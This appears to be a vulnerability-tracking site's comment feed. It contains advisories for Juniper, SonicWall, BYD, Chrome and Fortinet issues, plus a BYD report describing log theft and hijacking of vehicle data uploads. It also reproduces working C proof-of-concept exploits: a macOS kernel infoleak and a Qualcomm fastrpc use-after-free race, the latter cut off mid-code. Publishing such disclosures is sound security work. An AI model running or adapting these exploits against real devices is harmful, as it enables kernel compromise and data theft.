Recent comments
Log in or create an account to share your comment.
2025-02: Out-of-Cycle Security Bulletin: Session Smart Router, Session Smart Conductor, WAN Assurance Router: API Authentication Bypass Vulnerability (CVE-2025-21589) on ncsc-2025-0062
1 month ago by Alexandre Dulaunoy
This issue affects Session Smart Router, Session Smart Conductor, WAN Assurance Managed Router. Severity Critical Severity Assessment (CVSS) Score
CVSS: v3.1: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) SEVERITY:CRITICAL CVSS: v4.0: 9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) SEVERITY:CRITICAL Problem
An Authentication Bypass Using an Alternate Path or Channel vulnerability in Juniper Networks Session Smart Router may allow a network-based attacker to bypass authentication and take administrative control of the device.
This issue affects Session Smart Router:
from 5.6.7 before 5.6.17,
from 6.0.8,
from 6.1 before 6.1.12-lts,
from 6.2 before 6.2.8-lts,
from 6.3 before 6.3.3-r2;
This issue affects Session Smart Conductor:
from 5.6.7 before 5.6.17,
from 6.0.8,
from 6.1 before 6.1.12-lts,
from 6.2 before 6.2.8-lts,
from 6.3 before 6.3.3-r2;
This issue affects WAN Assurance Managed Routers:
from 5.6.7 before 5.6.17,
from 6.0.8,
from 6.1 before 6.1.12-lts,
from 6.2 before 6.2.8-lts,
from 6.3 before 6.3.3-r2.
Juniper SIRT is not aware of any malicious exploitation of this vulnerability. This issue was found during internal product security testing or research Solution
The following software releases have been updated to resolve this issue:
Session Smart Router: SSR-5.6.17, SSR-6.1.12-lts, SSR-6.2.8-lts, SSR-6.3.3-r2 and subsequent releases.
It is suggested to upgrade all affected systems to one of these versions of software. In a Conductor-managed deployment, it is sufficient to upgrade only the Conductor nodes and the fix will be applied automatically to all connected routers. As practical, the routers should still be upgraded to a fixed version however they will not be vulnerable once they connect to an upgraded Conductor. Router patching can be confirmed once the router reaches the “running" (on 6.2 and earlier) or “synchronized” (on 6.3+) state on the Conductor".
This vulnerability has been patched automatically on devices that operate with WAN Assurance (where configuration is also managed) connected to the Mist Cloud. As practical, the routers should still be upgraded to a version containing the fix.
It is important to note that when the fix is applied automatically on routers managed by a Conductor or on WAN assurance, it will have no impact on data-plane functions of the router. The application of the fix is non-disruptive to production traffic. There may be a momentary downtime (less than 30 seconds) to the web-based management and APIs.
This issue is being tracked as I95-59677.
Note: Juniper SIRT's policy is not to evaluate releases which are beyond End of Engineering (EOE) or End of Life (EOL). Workaround
There are no known workarounds for this issue. Severity Assessment Information for how Juniper Networks uses CVSS can be found at KB 16446 "Common Vulnerability Scoring System (CVSS) and Juniper's Security Advisories." Modification History
2024-02-11: Initial Publication
Related Information
KB16613: Overview of the Juniper Networks SIRT Quarterly Security Bulletin Publication Process
KB16765: In which releases are vulnerabilities fixed?
KB16446: Common Vulnerability Scoring System (CVSS) and Juniper's Security Advisories
Report a Security Vulnerability - How to Contact the Juniper Networks Security Incident Response Team
JSON{ uuid: "b45703d4-11a4-4f18-a2f4-8929ea2f08d2", vulnerability_lookup_origin: "1a89b78e-f703-45f3-bb86-59eb712668bd", title: "2025-02: Out-of-Cycle Security Bulletin: Session Smart Router, Session Smart Conductor, WAN Assurance Router: API Authentication Bypass Vulnerability (CVE-2025-21589)", description: "This issue affects Session Smart Router, Session Smart Conductor, WAN Assurance Managed Router.\nSeverity\nCritical\nSeverity Assessment (CVSS) Score\n\nCVSS: v3.1: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) SEVERITY:CRITICAL\nCVSS: v4.0: 9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) SEVERITY:CRITICAL\nProblem\n\nAn Authentication Bypass Using an Alternate Path or Channel vulnerability in Juniper Networks Session Smart Router may allow a network-based attacker to bypass authentication and take administrative control of the device.\n\n \n\nThis issue affects Session Smart Router: \n\n from 5.6.7 before 5.6.17, \n from 6.0.8,\n from 6.1 before 6.1.12-lts, \n from 6.2 before 6.2.8-lts, \n from 6.3 before 6.3.3-r2; \n\nThis issue affects Session Smart Conductor: \n\n from 5.6.7 before 5.6.17, \n from 6.0.8,\n from 6.1 before 6.1.12-lts, \n from 6.2 before 6.2.8-lts, \n from 6.3 before 6.3.3-r2; \n\nThis issue affects WAN Assurance Managed Routers: \n\n from 5.6.7 before 5.6.17, \n from 6.0.8,\n from 6.1 before 6.1.12-lts, \n from 6.2 before 6.2.8-lts, \n from 6.3 before 6.3.3-r2.\n\n \n\nJuniper SIRT is not aware of any malicious exploitation of this vulnerability.\nThis issue was found during internal product security testing or research\nSolution\n\nThe following software releases have been updated to resolve this issue:\n\n\nSession Smart Router: SSR-5.6.17, SSR-6.1.12-lts, SSR-6.2.8-lts, SSR-6.3.3-r2 and subsequent releases.\n\n\nIt is suggested to upgrade all affected systems to one of these versions of software. In a Conductor-managed deployment, it is sufficient to upgrade only the Conductor nodes and the fix will be applied automatically to all connected routers. As practical, the routers should still be upgraded to a fixed version however they will not be vulnerable once they connect to an upgraded Conductor. Router patching can be confirmed once the router reaches the “running\" (on 6.2 and earlier) or “synchronized” (on 6.3+) state on the Conductor\".\n \n\nThis vulnerability has been patched automatically on devices that operate with WAN Assurance (where configuration is also managed) connected to the Mist Cloud. As practical, the routers should still be upgraded to a version containing the fix.\n\nIt is important to note that when the fix is applied automatically on routers managed by a Conductor or on WAN assurance, it will have no impact on data-plane functions of the router. The application of the fix is non-disruptive to production traffic. There may be a momentary downtime (less than 30 seconds) to the web-based management and APIs. \n\n \n\nThis issue is being tracked as I95-59677.\n\nNote: Juniper SIRT's policy is not to evaluate releases which are beyond End of Engineering (EOE) or End of Life (EOL).\nWorkaround\n\nThere are no known workarounds for this issue.\nSeverity Assessment\nInformation for how Juniper Networks uses CVSS can be found at KB 16446 \"Common Vulnerability Scoring System (CVSS) and Juniper's Security Advisories.\"\nModification History\n\n2024-02-11: Initial Publication\n\nRelated Information\n\n KB16613: Overview of the Juniper Networks SIRT Quarterly Security Bulletin Publication Process\n KB16765: In which releases are vulnerabilities fixed?\n KB16446: Common Vulnerability Scoring System (CVSS) and Juniper's Security Advisories\n Report a Security Vulnerability - How to Contact the Juniper Networks Security Incident Response Team\n\n", description_format: "markdown", vulnerability: "ncsc-2025-0062", creation_timestamp: "2025-02-19T16:52:08.947558+00:00", timestamp: "2025-02-19T16:52:08.947558+00:00", related_vulnerabilities: [], meta: [ { tags: [ "vulnerability:exploitability=documented", ], }, ], }
ncsc-2025-0062
SonicWall Firewall Vulnerability Exploited After PoC Publication on cve-2024-53704
1 month ago by Cédric Bonhomme
Threat actors started exploiting a recent SonicWall firewall vulnerability this week, shortly after proof-of-concept (PoC) code targeting it was published.
According to Bishop Fox, approximately 4,500 internet-facing SonicWall SSL VPN servers had not been patched against CVE-2024-53704 by February 7.
JSON{ uuid: "b2a6b85e-5b0d-4ac4-b7a4-9227e3ff28e0", vulnerability_lookup_origin: "1a89b78e-f703-45f3-bb86-59eb712668bd", title: "SonicWall Firewall Vulnerability Exploited After PoC Publication", description: "Threat actors started exploiting a recent SonicWall firewall vulnerability this week, shortly after proof-of-concept (PoC) code targeting it was published.\n\nAccording to Bishop Fox, approximately 4,500 internet-facing SonicWall SSL VPN servers had not been patched against CVE-2024-53704 by February 7.", description_format: "markdown", vulnerability: "CVE-2024-53704", creation_timestamp: "2025-02-17T08:57:05.680592+00:00", timestamp: "2025-02-17T08:57:05.680592+00:00", related_vulnerabilities: [ "CVE-2024-53704", ], meta: [ { tags: [ "vulnerability:exploitability=documented", "vulnerability:information=PoC", ], }, { ref: [ "https://www.securityweek.com/sonicwall-firewall-vulnerability-exploited-after-poc-publication", "https://bishopfox.com/blog/sonicwall-cve-2024-53704-ssl-vpn-session-hijacking", ], }, ], }
cve-2024-53704
A vulnerability report for BYD (Chinese car maker) on cve-2024-54728
2 months ago by Cédric Bonhomme
Vulnerability Report - BYD QIN PLUS DM-i - Dilink OS - Incorrect Access Control
Product: BYD QIN PLUS DM-i - Dilink OS
Vendor: https://www.byd.com/
Version: 3.0_13.1.7.2204050.1.
Vulnerability Type: Incorrect Access Control
Attack Vectors: The user installs and runs an app on the IVI system that only requires normal permissions.
Introduction
The BYD QIN PLUS DM-i with Dilink OS contains an Incorrect Access Control vulnerability. Attackers can bypass permission restrictions and obtain confidential vehicle data through Attack Path 1: System Log Theft and Attack Path 2: CAN Traffic Hijacking.
Attack Path 1 : System Log Theft
Incorrect access control in BYD QIN PLUS DM-i Dilink OS 3.0_13.1.7.2204050.1 allows unaithorized attackers to access system logcat logs.
Description
The DiLink 3.0 system’s /system/bin/app_process64 process logs system logcat data, storing it in zip files in the /sdcard/logs folder. These logs are accessible by regular apps, allowing them to bypass restrictions, escalate privileges, and potentially copy and upload sensitive vehicle data (e.g., location, fuel/energy consumption, VIN, mileage) to an attacker’s server. This poses a serious security risk, as the data is highly confidential for both users and manufacturers.
Detailed Steps
- Check the system-collected and stored system logs.
- The malicious app copies system files to its own private directory. The main code is as follows:
The malicious app successfully steals system logs to its private directory.
Extract the file and search for sensitive confidential information in the system logs.
(a) Fuel consumption, energy consumption, and seatbelt status.
(b) ICCID, VIN (Vehicle Identification Number), and model code.
(c) Diagnostic command format.
(d) Various detailed vehicle status information.
Ethical Considerations
The vulnerability has been reported to the manufacturer and confirmed. It has been addressed and fixed in in the latest versions, with the logs now encrypted.
Additional Notes
Our vulnerability discovery was conducted on a standalone in-vehicle system, and due to the absence of a real vehicle, the logs collected by the system were quite limited. In a real vehicle, we expect to collect a much richer and larger volume of logs. Due to device limitations, we were unable to conduct further verification. Additionally, only one version of the in-vehicle system was tested, but other versions may also contain the same vulnerability, with the actual impact potentially being more severe.
Disclaimer
This vulnerability report is intended solely for informational purposes and must not be used for malicious activities. The author disclaims any responsibility for the misuse of the information provided.
Attack Path 2 : CAN Traffic Hijacking
The attacker can remotely intercept the vehicle's CAN traffic, which is supposed to be sent to the manufacturer's cloud server, and potentially use this data to infer the vehicle's status.
Description
In the DiLink 3.0 system, the /system/priv-app/CanDataCollect folder is accessible to regular users, allowing them to extract CanDataCollect.apk and analyze its code. The "com.byd.datacollectionnotify" broadcast, not protected by the system, lets apps set the CAN traffic upload URL. This enables attackers to:
- Set the upload URL to null, preventing cloud data collection.
- Set the upload URL to an attacker’s domain for remote CAN traffic collection.
Additionally, the encoded upload files can be decrypted using reverse-engineered decoding functions, enabling attackers to remotely analyze CAN traffic and infer the vehicle's status.
Detailed Steps
- The vulnerability code for the broadcast handling in CanDataCollect.apk.
- The exploitation code for the malicious app vulnerability.
- The malicious app successfully modifies the uploaded CAN traffic URL.
- After the attack on the IVI system, the logcat logs route CAN traffic to the attacker’s server.
- The CAN traffic collected by the attacker and the decoded results.
Ethical Considerations
The vulnerability has been reported to the manufacturer and confirmed. It has been addressed and fixed in the latest versions.
Additional Notes:
Our vulnerability discovery was conducted on a standalone in-vehicle system, and due to the absence of a real vehicle, the logs collected by the system were quite limited. In a real vehicle, we expect to collect a much richer and larger volume of logs. Due to device limitations, we were unable to conduct further verification. Additionally, only one version of the in-vehicle system was tested, but other versions may also contain the same vulnerability, with the actual impact potentially being more severe.
Disclaimer
This vulnerability report is intended solely for informational purposes and must not be used for malicious activities. The author disclaims any responsibility for the misuse of the information provided.
JSON{ uuid: "21f63dda-f998-4c51-b7ce-6efc09015c56", vulnerability_lookup_origin: "1a89b78e-f703-45f3-bb86-59eb712668bd", title: "A vulnerability report for BYD (Chinese car maker)", description: "\n# Vulnerability Report - BYD QIN PLUS DM-i - Dilink OS - Incorrect Access Control\n\n**Product:** BYD QIN PLUS DM-i - Dilink OS\n\n**Vendor**: https://www.byd.com/\n\n**Version**: 3.0_13.1.7.2204050.1.\n\n**Vulnerability Type:** Incorrect Access Control\n\n**Attack Vectors**: The user installs and runs an app on the IVI system that only requires normal permissions.\n\n## Introduction\n\n\tThe BYD QIN PLUS DM-i with Dilink OS contains an Incorrect Access Control vulnerability. Attackers can bypass permission restrictions and obtain confidential vehicle data through **Attack Path 1**: **System Log Theft** and **Attack Path 2**: **CAN Traffic Hijacking**.\n\n## Attack Path 1 : System Log Theft\n\n\tIncorrect access control in BYD QIN PLUS DM-i Dilink OS 3.0_13.1.7.2204050.1 allows unaithorized attackers to access system logcat logs.\n\n### Description\n\n\tThe DiLink 3.0 system’s /system/bin/app_process64 process logs system logcat data, storing it in zip files in the /sdcard/logs folder. These logs are accessible by regular apps, allowing them to bypass restrictions, escalate privileges, and potentially copy and upload sensitive vehicle data (e.g., location, fuel/energy consumption, VIN, mileage) to an attacker’s server. This poses a serious security risk, as the data is highly confidential for both users and manufacturers.\n\n### Detailed Steps\n\n1. Check the system-collected and stored system logs.\n\n\n\n2. The malicious app copies system files to its own private directory. The main code is as follows:\n\n<img src=\"https://s2.loli.net/2025/01/26/EqxHDSX9O5Ibhr4.png\" alt=\".png\" style=\"zoom: 50%;\" />\n\n3. The malicious app successfully steals system logs to its private directory.\n\n \n\n4. Extract the file and search for sensitive confidential information in the system logs.\n\n\t\t(a) Fuel consumption, energy consumption, and seatbelt status.\n\n\n\n\t\t(b) ICCID, VIN (Vehicle Identification Number), and model code.\n\n\n\n\t\t(c) Diagnostic command format.\n\n\n\n\t\t(d) Various detailed vehicle status information.\n\n\n\n### **Ethical Considerations**\n\n\tThe vulnerability has been reported to the manufacturer and confirmed. It has been addressed and fixed in in the latest versions, with the logs now encrypted.\n\n### Additional Notes\n\n\tOur vulnerability discovery was conducted on a standalone in-vehicle system, and due to the absence of a real vehicle, the logs collected by the system were quite limited. In a real vehicle, we expect to collect a much richer and larger volume of logs. Due to device limitations, we were unable to conduct further verification. Additionally, only one version of the in-vehicle system was tested, but other versions may also contain the same vulnerability, with the actual impact potentially being more severe.\n\n### Disclaimer\n\n\tThis vulnerability report is intended solely for informational purposes and must not be used for malicious activities. The author disclaims any responsibility for the misuse of the information provided.\n\n\n\n## Attack Path 2 : CAN Traffic Hijacking\n\n\tThe attacker can remotely intercept the vehicle's CAN traffic, which is supposed to be sent to the manufacturer's cloud server, and potentially use this data to infer the vehicle's status.\n\n### Description\n\n\tIn the DiLink 3.0 system, the /system/priv-app/CanDataCollect folder is accessible to regular users, allowing them to extract CanDataCollect.apk and analyze its code. The \"com.byd.data_collection_notify\" broadcast, not protected by the system, lets apps set the CAN traffic upload URL. This enables attackers to:\n\n1. Set the upload URL to null, preventing cloud data collection.\n2. Set the upload URL to an attacker’s domain for remote CAN traffic collection.\n\n\tAdditionally, the encoded upload files can be decrypted using reverse-engineered decoding functions, enabling attackers to remotely analyze CAN traffic and infer the vehicle's status.\n\n### Detailed Steps\n\n1. The vulnerability code for the broadcast handling in CanDataCollect.apk.\n\n<img src=\"https://s2.loli.net/2025/01/26/RanvVwJZYUuq9i8.png\" alt=\".png\" style=\"zoom:50%;\" />\n\n2. The exploitation code for the malicious app vulnerability.\n\n<img src=\"https://s2.loli.net/2025/01/26/QBC8cxEkKtuY5XT.png\" alt=\".png\" style=\"zoom:50%;\" />\n\n3. The malicious app successfully modifies the uploaded CAN traffic URL.\n\n\n\n4. After the attack on the IVI system, the logcat logs route CAN traffic to the attacker’s server.\n\n<img src=\"https://s2.loli.net/2025/01/26/2Cxtc3UvFe9X7pn.png\" alt=\".png\" style=\"zoom: 50%;\" />\n\n5. The CAN traffic collected by the attacker and the decoded results.\n\n<img src=\"https://s2.loli.net/2025/01/27/YqinPrht6S8CFBW.png\" alt=\".png\" style=\"zoom:50%;\" />\n\n### **Ethical Considerations**\n\n\tThe vulnerability has been reported to the manufacturer and confirmed. It has been addressed and fixed in the latest versions.\n\n### Additional Notes:\n\n\tOur vulnerability discovery was conducted on a standalone in-vehicle system, and due to the absence of a real vehicle, the logs collected by the system were quite limited. In a real vehicle, we expect to collect a much richer and larger volume of logs. Due to device limitations, we were unable to conduct further verification. Additionally, only one version of the in-vehicle system was tested, but other versions may also contain the same vulnerability, with the actual impact potentially being more severe.\n\n### Disclaimer\n\n\tThis vulnerability report is intended solely for informational purposes and must not be used for malicious activities. The author disclaims any responsibility for the misuse of the information provided.", description_format: "markdown", vulnerability: "CVE-2024-54728", creation_timestamp: "2025-01-26T17:57:50.934368+00:00", timestamp: "2025-01-26T17:57:50.934368+00:00", related_vulnerabilities: [], meta: [ { tags: [ "vulnerability:exploitability=documented", "vulnerability:information=PoC", ], }, { ref: [ "https://gist.github.com/xu-yanbo202000460009/00dacd7bfede713a0f052a531da4fabd", ], }, ], }
cve-2024-54728
Proof Of Concept on cve-2024-54507
2 months ago by Cédric Bonhomme
// ravi (@0xjprx)
// 2-byte kernel infoleak, introduced in xnu-11215.1.10.
// gcc SUSCTL.c -o susctl
// ./susctl
#include <stdio.h>
#include <sys/sysctl.h>
void leak() {
uint64_t val = 0;
size_t len = sizeof(val);
sysctlbyname("net.inet.udp.log.remote_port_excluded", &val, &len, NULL, 0);
printf("leaked: 0x%llX 0x%llX\n", (val >> 16) & 0x0FF, (val >> 24) & 0x0FF);
}
int main() {
leak();
return 0;
}
from https://github.com/jprx/CVE-2024-54507
JSON{ uuid: "25c99b1c-5ba6-4c88-bac6-3ad6c5e525b4", vulnerability_lookup_origin: "1a89b78e-f703-45f3-bb86-59eb712668bd", title: "Proof Of Concept", description: "```c\n// ravi (@0xjprx)\n// 2-byte kernel infoleak, introduced in xnu-11215.1.10.\n// gcc SUSCTL.c -o susctl\n// ./susctl\n#include <stdio.h>\n#include <sys/sysctl.h>\n\nvoid leak() {\n uint64_t val = 0;\n size_t len = sizeof(val);\n sysctlbyname(\"net.inet.udp.log.remote_port_excluded\", &val, &len, NULL, 0);\n printf(\"leaked: 0x%llX 0x%llX\\n\", (val >> 16) & 0x0FF, (val >> 24) & 0x0FF);\n}\n\nint main() {\n leak();\n return 0;\n}\n```\n\nfrom https://github.com/jprx/CVE-2024-54507", description_format: "markdown", vulnerability: "CVE-2024-54507", creation_timestamp: "2025-01-24T06:21:59.299861+00:00", timestamp: "2025-01-24T06:32:36.489951+00:00", related_vulnerabilities: [ "CVE-2024-54507", ], meta: [ { ref: [ "https://github.com/jprx/CVE-2024-54507", "https://jprx.io/cve-2024-54507/", ], tags: [ "vulnerability:exploitability=documented", "vulnerability:information=PoC", ], }, ], }
cve-2024-54507
A particularly 'sus' sysctl in the XNU Kernel on cve-2024-54507
2 months ago by Cédric Bonhomme
Timeline
- September 16, 2024: macOS 15.0 Sequoia was released with xnu-11215.1.10, the first public kernel release with this bug.
- Fall 2024: I reported this bug to Apple.
- December 11, 2024: macOS 15.2 and iOS 18.2 were released, fixing this bug, and assigning CVE-2024-54507 to this issue.
{ uuid: "fa8ceb01-4bdc-4f10-8a64-5a1b671dc259", vulnerability_lookup_origin: "1a89b78e-f703-45f3-bb86-59eb712668bd", title: "A particularly 'sus' sysctl in the XNU Kernel", description: "### Timeline\n\n* September 16, 2024: macOS 15.0 Sequoia was released with xnu-11215.1.10, the first public kernel release with this bug.\n* Fall 2024: I reported this bug to Apple.\n* December 11, 2024: macOS 15.2 and iOS 18.2 were released, fixing this bug, and assigning CVE-2024-54507 to this issue.\n", description_format: "markdown", vulnerability: "CVE-2024-54507", creation_timestamp: "2025-01-24T06:18:07.537395+00:00", timestamp: "2025-01-24T06:18:07.537395+00:00", related_vulnerabilities: [ "CVE-2024-54507", ], meta: [ { tags: [ "vulnerability:exploitability=documented", "vulnerability:information=PoC", ], }, ], }
cve-2024-54507
Fortigate Belsen Leak - parser from @cudeso@infosec.exchange on cve-2022-40684
2 months ago by Cédric Bonhomme
A quick parser to extract whois and country data from the darkweb forum post listing Fortinet devices victim to CVE-2022-40684.
Parser available at:
https://github.com/cudeso/tools/tree/master/CVE-2022-40684
JSON{ uuid: "ad2fd548-18b4-43c1-af5f-c72c3096c2a7", vulnerability_lookup_origin: "1a89b78e-f703-45f3-bb86-59eb712668bd", title: "Fortigate Belsen Leak - parser from @cudeso@infosec.exchange", description: "A quick parser to extract whois and country data from the darkweb forum post listing Fortinet devices victim to CVE-2022-40684.\n\nParser available at:\n\n[https://github.com/cudeso/tools/tree/master/CVE-2022-40684](https://github.com/cudeso/tools/tree/master/CVE-2022-40684)", description_format: "markdown", vulnerability: "CVE-2022-40684", creation_timestamp: "2025-01-16T16:05:29.258596+00:00", timestamp: "2025-01-17T05:35:29.380347+00:00", related_vulnerabilities: [ "CVE-2022-40684", ], meta: [ { tags: [ "vulnerability:exploitability=documented", "vulnerability:information=annotation", ], }, { ref: [ "https://github.com/arsolutioner/fortigate-belsen-leak", "https://www.linkedin.com/feed/update/urn:li:activity:7285685375585443841/", "https://github.com/cudeso/tools/tree/master/CVE-2022-40684", ], }, ], }
cve-2022-40684
Stable Channel Update for Desktop Tuesday, January 7, 2025 on cve-2025-0291
2 months ago by Alexandre Dulaunoy
The Stable channel has been updated to 131.0.6778.264/.265 for Windows, Mac and 131.0.6778.264 for Linux which will roll out over the coming days/weeks. A full list of changes in this build is available in the Log.
Security Fixes and Rewards
Note: Access to bug details and links may be kept restricted until a majority of users are updated with a fix. We will also retain restrictions if the bug exists in a third party library that other projects similarly depend on, but haven’t yet fixed.
This update includes 4 security fixes. Below, we highlight fixes that were contributed by external researchers. Please see the Chrome Security Page for more information.
383356864 High CVE-2025-0291: Type Confusion in V8. Reported by Popax21 on 2024-12-11
We would also like to thank all security researchers that worked with us during the development cycle to prevent security bugs from ever reaching the stable channel.As usual, our ongoing internal security work was responsible for a wide range of fixes:
- [388088544] Various fixes from internal audits, fuzzing and other initiatives
Many of our security bugs are detected using AddressSanitizer, MemorySanitizer, UndefinedBehaviorSanitizer, Control Flow Integrity, libFuzzer, or AFL.
Reference: https://chromereleases.googleblog.com/2025/01/stable-channel-update-for-desktop.html
JSON{ uuid: "277659d5-c63c-4885-a40f-c84aa253dad8", vulnerability_lookup_origin: "1a89b78e-f703-45f3-bb86-59eb712668bd", title: "Stable Channel Update for Desktop Tuesday, January 7, 2025", description: "The Stable channel has been updated to 131.0.6778.264/.265 for Windows, Mac and 131.0.6778.264 for Linux which will roll out over the coming days/weeks. A full list of changes in this build is available in the Log.\n\nSecurity Fixes and Rewards\n\nNote: Access to bug details and links may be kept restricted until a majority of users are updated with a fix. We will also retain restrictions if the bug exists in a third party library that other projects similarly depend on, but haven’t yet fixed.\n\nThis update includes 4 security fixes. Below, we highlight fixes that were contributed by external researchers. Please see the Chrome Security Page for more information.\n\n[383356864](https://issues.chromium.org/issues/383356864) High CVE-2025-0291: Type Confusion in V8. Reported by Popax21 on 2024-12-11\n\nWe would also like to thank all security researchers that worked with us during the development cycle to prevent security bugs from ever reaching the stable channel.As usual, our ongoing internal security work was responsible for a wide range of fixes:\n- [388088544] Various fixes from internal audits, fuzzing and other initiatives\n\nMany of our security bugs are detected using AddressSanitizer, MemorySanitizer, UndefinedBehaviorSanitizer, Control Flow Integrity, libFuzzer, or AFL.\n\nReference: [https://chromereleases.googleblog.com/2025/01/stable-channel-update-for-desktop.html](https://chromereleases.googleblog.com/2025/01/stable-channel-update-for-desktop.html)", description_format: "markdown", vulnerability: "CVE-2025-0291", creation_timestamp: "2025-01-08T07:56:13.906692+00:00", timestamp: "2025-01-08T07:56:13.906692+00:00", related_vulnerabilities: [ "CVE-2025-0291", ], meta: [ { tags: [ "vulnerability:exploitability=documented", "vulnerability:information=annotation", ], }, ], }
cve-2025-0291
FASTRPC_ATTR_KEEP_MAP logic bug allows fastrpc_internal_munmap_fd to concurrently free in-use mappings leading to UAF on cve-2024-49848
3 months ago by Alexandre Dulaunoy
Ref: https://project-zero.issues.chromium.org/issues/42451725
#include "adsprpc_shared.h"
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <linux/dma-heap.h>
#include <sys/mman.h>
#include <errno.h>
#include <pthread.h>
#include <signal.h>
#define FASTRPC_MODE_UNSIGNED_MODULE 8
#define FASTRPC_STATIC_HANDLE_PROCESS_GROUP (1)
#define FASTRPC_STATIC_HANDLE_DSP_UTILITIES (2)
#define FASTRPC_STATIC_HANDLE_LISTENER (3)
#define FASTRPC_STATIC_HANDLE_CURRENT_PROCESS (4)
int dma_heap;
int adsprpc_fd;
int create_and_init_adsprpc()
{
int adsprpc_fd = open("/dev/adsprpc-smd",O_RDONLY);
if(adsprpc_fd == -1) {
printf("open: %m\n");
return -1;
}
unsigned cid = 3;
long ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_GETINFO,&cid);
int shell_fd = open("/data/local/tmp/fastrpc_shell_unsigned_3",O_RDONLY);
if(shell_fd == -1) {
printf("open shell: %m\n");
return -1;
}
dma_heap = open("/dev/dma_heap/system",O_RDONLY);
if(dma_heap == -1) {
printf("open dma_heap: %m\n");
return -1;
}
struct dma_heap_allocation_data heap_data = {
.len = 0x131000,
.fd_flags = O_RDWR,
};
ret = ioctl(dma_heap,DMA_HEAP_IOCTL_ALLOC,&heap_data);
if( ret < 0 || heap_data.fd < 0)
{
printf("dma heap allocation fail: %d %d %m\n",ret,heap_data.fd);
return -1;
}
void* shell_file_dma = mmap(NULL,0x131000,PROT_READ | PROT_WRITE, MAP_SHARED,heap_data.fd,0);
long length = read(shell_fd,shell_file_dma,0x131000);
if(length <= 0) {
printf("read: %d %m\n",ret);
return -1;
}
close(shell_fd);
struct fastrpc_ioctl_init_attrs init = {
.init = {
.file = shell_file_dma,
.filefd = heap_data.fd,
.filelen = length,
.mem = 0,
.flags = FASTRPC_INIT_CREATE,
},
.attrs = FASTRPC_MODE_UNSIGNED_MODULE
};
ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_INIT_ATTRS,&init);
if(ret < 0)
{
printf("init_attrs: %d %m\n",ret);
return -1;
}
return adsprpc_fd;
}
pthread_barrier_t* barrier;
pthread_t tid_inv,tid_int;
unsigned long* value_loc;
struct dma_heap_allocation_data heap_data = {
.len = 0x10000,
.fd_flags = O_RDWR,
};
void handler(int signo, siginfo_t *info, void* context) {
return;
}
sig_atomic_t jobid = 0;
long submit_job() {
unsigned value = 255;
unsigned out_values[256] = {0};
struct fastrpc_ioctl_invoke_async ioctl_arg;
remote_arg_t ra[2];
ra[0].buf.pv = (void *)&value;
ra[0].buf.len = sizeof(value);
ra[1].buf.pv = (void *)(&out_values[1]);
ra[1].buf.len = value * sizeof(uint32_t);
ioctl_arg.inv.handle = FASTRPC_STATIC_HANDLE_CURRENT_PROCESS;
ioctl_arg.inv.sc = REMOTE_SCALARS_MAKE(0, 1, 1);
ioctl_arg.inv.pra = ra;
ioctl_arg.fds = NULL;
ioctl_arg.attrs = NULL;
ioctl_arg.crc = NULL;
ioctl_arg.perf_kernel = NULL;
ioctl_arg.perf_dsp = NULL;
ioctl_arg.job = NULL;
ioctl_arg.job = malloc(sizeof(*ioctl_arg.job));
ioctl_arg.job->isasyncjob = 1;
ioctl_arg.job->jobid = jobid++;
struct fastrpc_ioctl_invoke2 inv;
inv.invparam = &ioctl_arg;
inv.req = FASTRPC_INVOKE2_ASYNC;
inv.size = sizeof(struct fastrpc_ioctl_invoke_async);
long ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_INVOKE2,&inv);
printf("submit job ret: %lx %m\n",ret);
return ret;
}
void* thread_inv(void* arg) {
while(1) {
//Need to replace value with & new map on other thread
unsigned value = 255;
unsigned out_values[256] = {0};
long ret;
//Not using submit_job() to increase race precision
struct fastrpc_ioctl_invoke_async ioctl_arg;
remote_arg_t ra[2];
ra[0].buf.pv = (void *)0;
ra[0].buf.len = sizeof(value);
ra[1].buf.pv = (void *)(&out_values[1]);
ra[1].buf.len = value * sizeof(uint32_t);
ioctl_arg.inv.handle = FASTRPC_STATIC_HANDLE_CURRENT_PROCESS;
ioctl_arg.inv.sc = REMOTE_SCALARS_MAKE(0, 1, 1);
ioctl_arg.inv.pra = ra;
ioctl_arg.fds = calloc(REMOTE_SCALARS_LENGTH(ioctl_arg.inv.sc),sizeof(int));
ioctl_arg.fds[0] = heap_data.fd;
ioctl_arg.fds[1] = -1;
ioctl_arg.attrs = NULL;
ioctl_arg.crc = NULL;
ioctl_arg.perf_kernel = NULL;
ioctl_arg.perf_dsp = NULL;
ioctl_arg.job = malloc(sizeof(*ioctl_arg.job));
ioctl_arg.job->isasyncjob = 1;
ioctl_arg.job->jobid = jobid++;
struct fastrpc_ioctl_invoke2 inv;
inv.invparam = &ioctl_arg;
inv.req = FASTRPC_INVOKE2_ASYNC;
inv.size = sizeof(struct fastrpc_ioctl_invoke_async);
close(heap_data.fd);
pthread_barrier_wait(barrier);
ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_INVOKE2,&inv);
printf("job submit: %ld %m\n",ret);
fflush(stdout);
if(!ret) {
*((unsigned*) &barrier[1]) = 1;
pthread_barrier_wait(barrier);
exit(0);
}
pthread_barrier_wait(barrier);
}
return NULL;
}
int main() {
adsprpc_fd = create_and_init_adsprpc();
if(adsprpc_fd == -1) {
printf("failed to open adsprpc...\n");
return 1;
}
barrier = mmap(NULL,0x1000,PROT_READ | PROT_WRITE,MAP_SHARED | MAP_ANONYMOUS,0,0);
pthread_barrierattr_t attr;
pthread_barrierattr_init(&attr);
pthread_barrierattr_setpshared(&attr,PTHREAD_PROCESS_SHARED);
pthread_barrier_init(barrier,&attr,2);
//pthread_create(&tid_int,NULL,&thread_interrupt,NULL);
int ret = ioctl(dma_heap,DMA_HEAP_IOCTL_ALLOC,&heap_data);
if( ret < 0 || heap_data.fd < 0)
{
printf("dma heap allocation fail: %d %d %m\n",ret,heap_data.fd);
return -1;
}
// for(unsigned i = 0; i < 1022; i++) {
// if(submit_job() < 0) {
// printf("failed to submit a job at i = %u\n",i);
// exit(0);
// }
// }
